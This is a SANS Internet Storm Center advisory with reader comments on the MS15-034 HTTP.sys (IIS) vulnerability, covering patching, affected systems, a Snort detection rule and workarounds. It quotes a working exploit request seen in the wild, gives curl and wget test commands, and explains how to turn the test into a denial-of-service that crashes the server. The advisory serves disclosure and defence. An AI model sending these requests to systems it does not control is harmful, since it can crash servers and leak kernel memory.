Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: MS15-034: HTTP.sys (IIS) DoS And Possible Remote Code Execution. PATCH NOW - SANS Internet Storm Center SANS ISC InfoSec Forums

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
MS15-034: HTTP.sys (IIS) DoS And Possible Remote Code Execution. PATCH NOW

Denial of Service (DoS) exploits are widely available to exploit CVE-2015-1635, a vulnerability in HTTP.sys, affecting Internet Information Server (IIS) . The patch was released on Tuesday (April 14th) as part of Microsoft's Patch Tuesday.

Due to the ease with which this vulnerability can be exploited, we recommend that you expedite patching this vulnerability.

Update: We are seeing active exploits hitting our honeypots from We will be going to Infocon Yellow as these scans use the DoS version, not the "detection" version of the exploit. The scans appear to be "Internet wide".

[We will have a webcast live from SANS 2015 in Orlando at 6pm ET. For details, see . If you are attending SANS 2015: Osprey Room 1 at the Swan hotel]

Updated Section 6 information regarding Information Disclosure issue.

Based on posts on Twitter, is also sending the exploit code in "somewhat targeted" scans.

Version of the exploit seen used in these scans:

GET /%7Bwelcome.png HTTP/1.1
User-Agent: Wget/1.13.4 (linux-gnu)
Accept: */*
Host: [server-ip]
Connection: Keep-Alive
Range: bytes=18-18446744073709551615


1 - Which Versions of Windows Are Vulnerable?

Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1, and Windows Server 2012 R2. HTTP.sys is used by any version of IIS running on one of these operating systems. HTTP.sys was introduced with IIS 6.

2 - Will an IPS protect me? 

Yes. If you have the right rules installed. For example, here is a simple rule for Snort:

alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg: " MS15-034 Range Header HTTP.sys Exploit"; content: "|0d 0a|Range: bytes="; nocase; content: "-"; within: 20 ; byte_test: 10,>,1000000000,0,relative,string,dec ; sid: 1001239;)

(byte_test is limited to 10 bytes, so I just check if the first 10 bytes are larger then 1000000000)

Watch out, there are some tricks to bypass simple rules, like adding whitespace to the Range: header's value. More info here.

3 - Will the exploit work over SSL?

Yes. Which may be used to bypass your IDS or other network protections

4 - Have you seen active exploits "in the wild"?

Not yet. We have seen working DoS exploits, but have not detected them in our honeypots. Erratasec conducted a (partial) scan of the Internet using a non-DoS exploit with the intend to enumerate vulnerable systems.

5 - How do I know if I am vulnerable?

Send the following request to your IIS server:

GET / HTTP/1.1
Host: MS15034
Range: bytes=0-18446744073709551615

If the server responds with "Requested Header Range Not Satisfiable", then you may be vulnerable.

Test Scripts:

(powershell removed as it doesn't support 64 bit intergers... worked without error for me, but something else may have been wrong with it)

curl -v [ipaddress]/ -H "Host: test" -H "Range: bytes=0-18446744073709551615"

wget -O /dev/null --header="Range: 0-18446744073709551615" http://[ip address]/


6 - Can this vulnerability be exploited to do more then a DoS?

In it's advisory, Microsoft considered the vulnerability as a remote code execution vulnerability. But at this point, no exploit has been made public that executed code. Only DoS exploits are available.
There also appears to be an information disclosure vulnerability. If the lower end of the range is one byte less then the size of the retrieved file, kernel memory is appended to the output before the system reboots. In my own testing, I was not able to achieve consistent information leakage. Most of the time, the server just crashes.

[Turns out, the file does not have to be > 4GB. Tried it with a short file and it worked. The >4GB information came from a bad interpretation of mine of the chinese article in the "Resources" section]

7 - How to I launch the DoS exploit?

In the example PoC above, change the "0-" to "20-". (has to be smaller then the size of the file retrieved, but larger then 0)

8 - What is special about the large number in the PoC exploit?

It is 2^64-1. The largest 64 bit number (hex: 0xFFFFFFFFFFFFFFFF)

9 - Any Other Workarounds?

In IIS 7, you can disable kernel caching.

10 - Is only IIS vulnerable? Or are other components affected as well?

Potentially, anything using HTTP.sys and kernel caching is vulnerable. HTTP.sys is the Windows library used to parse HTTP requests. However, IIS is the most common program exposing HTTP.sys. You may find potentially vulnerable components by typing: netsh http show servicestate (thx to @Gmanfunky)

11 - Will IIS Request Filtering Protect Me?

No. IIS Request Filtering happens after the Range header is parsed.

​ (Chinese)

Thanks to Threatstop for providing an IIS server for testing.


Johannes B. Ullrich, Ph.D.


2865 Posts
ISC Handler
"... ISS server". Is that "ISS" or "IIS"? [NOTE: This typo was corrected.]

FYI, looks like Palo Alto is already blocking the exploit as a threat. Should buy some time to patch in an orderly manner :)

2 Posts Posts
If the POC is converted to use HTTPS, won't the headers be encrypted? Then, unless you decrypt the packets before or as they go thru the Palo Alto device, won't the exploit packets get thru to the target server?

Correct, in this case if any protective device is not doing SSL inspection this one will likely be missed.


152 Posts Posts
ISC Handler
Are we referring to this as the deRANGEd vulnerability?

Is there a way to block this on the IIS server itself, using tools such as Request Filtering

My thinking is that this would allow filtering even if you are not inspecting https on the network IPS?

On second thought, at this point it is probably too late as request filtering might be through HTTP.sys - it is simply filtering what requests to forward, not which requests HTTP.sys processes?? [Edit to note that this is a question, I can't confirm this myself.]

58 Posts Posts
I found Python SSL Version enabled version of the checker if you guys need it with alterable host headers.


Traffic for WSman alias "Windows Remote Management" (see <>) and PowerShell remoting may reach HTTP.sys too!

And dont forget SQL Server Reporting Services, SSTP and the MANY other components which use HTTP.sys: check its configuration per
NetSh.exe HTTP Show ServiceState

The registered URLs tell which components use HTTP.sys.

Cisco IPS signature S862 includes definitions for this exploit. It is already blocking traffic targeting for our webservers

Your powershell script is not working since AddRange() method of HTTPWebrequest accept Int64 and number supplied is bigger then Int64 and hence will fail to work. Was this script tested? Firstly it needs [long] to identify it as Int64 and not Int32 and secondly it'll still fail


Cannot convert value "18446744073709551615" to type "System.Int64". Error: "Value was either too large or
too small for an Int64."

9 Posts Posts
Saw activity from the range last night into this morning, but using the test version only.

GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

29 Posts Posts
I got this confirmed via Twitter resources, Request Filtering happens "too late".

And I agree, MS would have had this listed as workaround if it was that easy.. :)

58 Posts Posts
When i run the powershell cmd in ISE i get the below error any help?

powershell : Cannot convert argument "to", with value: "18446744073709551615", for "AddRange" to type "System.Int32": "Cannot convert value "18446744073709551615" to type "System.Int32".
Error: "Value was either too large or too small for an Int32.""

Curl test worked for me, but the powershell test has an error
PS C:\> $wr=[Net.WebRequest]::Create( 'http://[ip address]/iisstart.htm')
PS C:\> $wr.AddRange('bytes' ,0,18446744073709551615)
Cannot convert argument "to", with value: "18446744073709551615", for "AddRange" to type "System.Int32": "Cannot
convert value "18446744073709551615" to type "System.Int32". Error: "Value was either too large or too small for an
At line:1 char:1
+ $wr.AddRange('bytes' ,0,18446744073709551615)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodException
+ FullyQualifiedErrorId : MethodArgumentConversionInvalidCastArgument

PS C:\>

82 Posts Posts
yes, powershell script is wrong. It's impossible to do that since AddRange accepts Int64 at most and this value is bigger then Int64

9 Posts Posts
There is some serious issue going on with Int64 max value and values specified in this bulletin. Max Int64 value in .NET is 0x7FFFFFFFFFFFFFFF and that's what AddRange accepts. Unsigned Int64 on the other hand will be 0xFFFFFFFFFFFFFFFF which AddRange will not accept
So all .NET code implementations will either have to use Raw Sockets or override AddRange method using Reflection and Protected method

9 Posts Posts
What do I look for in the output of the curl script to prove that I am NOT affected by this?

59 Posts Posts
So can someone correct me if I'm wrong, being a Windows admin and a pretty fair powershell programmer. If powershell uses winrm to remote manage over http and https, and running the following on a server without iis installed

netsh http show servicestate |Select-String "://" |ForEach-Object {if($_ -ne ""){([string]$_).trim()}}

returns a result, that appears to me as though ANY windows server has this potential vuln regardless of IIS or no.

Is that a fair statement?

2 Posts Posts
Yes, all those affected. HTTP moved in kernel and now activation happened by WAS which means bunch of stuff can use HTTP now and not only IIS

Bulletin has ways to test it below
netsh http show servicestate

9 Posts Posts

Sign Up for Free or Log In to start participating in the conversation!